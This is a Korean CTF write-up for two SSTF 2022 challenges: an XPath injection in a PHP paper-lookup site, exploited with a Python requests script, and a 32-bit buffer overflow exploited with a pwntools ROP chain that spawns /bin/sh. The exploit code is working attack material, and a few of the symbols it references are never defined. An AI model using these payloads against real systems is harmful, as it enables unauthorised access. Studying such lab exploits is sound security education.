SSTF 2022 Write up
Yet Another Injection
- login.php 코드에서 볼 수 있듯이 username: guest password: guest 로 로그인이 가능하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
session_start();
$username = check_param("username");
$pwd = check_param("pwd");
if (checkUser($username, $pwd)) {
$_SESSION["username"] = $username;
header("Location: index.php");
}
function check_param($var) {
if (!isset($_POST[$var]) || $_POST[$var] === "") {
return "";
}
return trim($_POST[$var]);
}
function checkUser($username, $pwd) {
if (($username === "") || ($pwd === "")) {
return false;
}
$accounts = @file_get_contents("accounts.txt");
if ($accounts === false) {
$users = array();
} else {
$users = explode("\n", $accounts);
}
array_push($users, "guest:".hash("sha256", "guest"));
$granted = false;
foreach ($users as $each) {
$info = explode(":",$each);
if ( $username === trim($info[0]) && hash("sha256", $pwd) === trim($info[1]) ) {
$granted = true;
break;
}
}
return $granted;
}
?>
paperdetail.php
에서 GET Method로 받은$idx
가 getDetail의 파라미터로 들어간다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
require_once 'library.php';
$papers = loadPapers('papers.xml');
header("Content-Type:application/json");
if (!isset($_SESSION["username"])) {
echo json_encode(['status' => 'Error', 'msg' => 'Forbidden']);
} else if(!isset($_GET['idx'])) {
echo json_encode(['status' => 'Error', 'msg' => 'Invalid Request']);
} else {
$idx = $_GET['idx'];
$paper = getDetail($papers, $idx);
echo json_encode($paper);
}
?>
library.php
에서 getDetail() 함수를 볼 수 있는데 xpath를 이용해서 데이터를 불러오는 것을 볼 수 있다.- xpath injection이 가능한 것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getDetail(DomDocument $papers, string $idx) {
$xpath = new DOMXPath($papers);
$query = "//Paper[Idx/text()='".$idx."' and @published='yes']";
$paper_list = $xpath->query($query);
if ($paper_list == false) {
return ['status' => 'Error', 'msg' => 'Invalid XPATH expression'];
}
if ($paper_list->count() == 0) {
return ['status' => 'Error', 'msg' => 'No such entity'];
}
$paper = $paper_list->item(0);
return [
'status' => 'Success',
'Title' => getFirstChildText($paper, 'Title'),
'Author' => getFirstChildText($paper, 'Author'),
'Conference' => getFirstChildText($paper, 'Conference'),
'Year' => getFirstChildText($paper, 'Year'),
'Abstract' => getFirstChildText($paper, 'Abstract')
];
}
- xpath query에서 @published 속성을 no로 하여 xpath injection exploit 코드를 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = 'http://yai.sstf.site/paperdetail.php'
cookies = {'PHPSESSID':'2af1f1b372ad2b3a6e35db8a5a26f5ea'}
idx = 1
for idx in range(1001):
params = {'idx': f"{idx}' and @published='no']|Paper[Idx/text()='0"}
res = requests.get(url, cookies=cookies, params=params)
if 'SCTF{' in res.text:
print(res.text)
else:
print(res.text)
Flag
SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}
pppr
r()
함수에서 buffer overflow가 일어난다.매개변수로 넘겨받은
a1
이 크기가 4인 배열이고 최대 64바이트까지 입력받을 수 있기 때문이다.decompiled.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
int __cdecl r(int a1, unsigned int a2, int a3) { int result; // eax char v4; // [esp+3h] [ebp-9h] unsigned int i; // [esp+4h] [ebp-8h] if ( a3 ) { puts("r() works only for stdin."); result = -1; } else { for ( i = 0; a2 > i; ++i ) { v4 = fgetc(stdin); if ( v4 == -1 || v4 == 10 ) break; *(_BYTE *)(a1 + i) = v4; } *(_BYTE *)(i + a1) = 0; result = i; } return result; } int __cdecl x(char *command) { return system(command); } int __cdecl main(int argc, const char **argv, const char **envp) { char v4[4]; // [esp+0h] [ebp-8h] BYREF setbuf(stdin, 0); setbuf(stdout, 0); alarm(0xAu); r(v4, 64, 0); return 0; }
pop ; pop ; pop; ret
gadget을 이용해 rop chain을 만들어서 exploit 했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
p = process('./pppr')
#p = remote('pppr.sstf.site', 1337)
e = ELF('./pppr')
buf_in_bss = e.symbols['buf_in_bss']
x = e.symbols['x']
r = e.symbols['r']
pppr = 0x080486a9 # pop3ret gadget
log.info('buf_in_bss: ' + hex(buf_in_bss))
log.info('fgetc_plt: ' + hex(fgetc_plt))
log.info('main: ' + hex(main))
log.info('x: ' + hex(x))
payload = b'AAAA'
payload += p32(0)
payload += p32(0)
# Call r(buf_in_bss, 64, 0)
payload += p32(r)
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(64)
payload += p32(0)
#Call x(buf_in_bss)
payload += p32(x)
payload += p32(0xdeadbeef)
payload += p32(buf_in_bss)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()
Flag
SCTF{Anc13nt_x86_R0P_5kiLl}
This post is licensed under CC BY 4.0 by the author.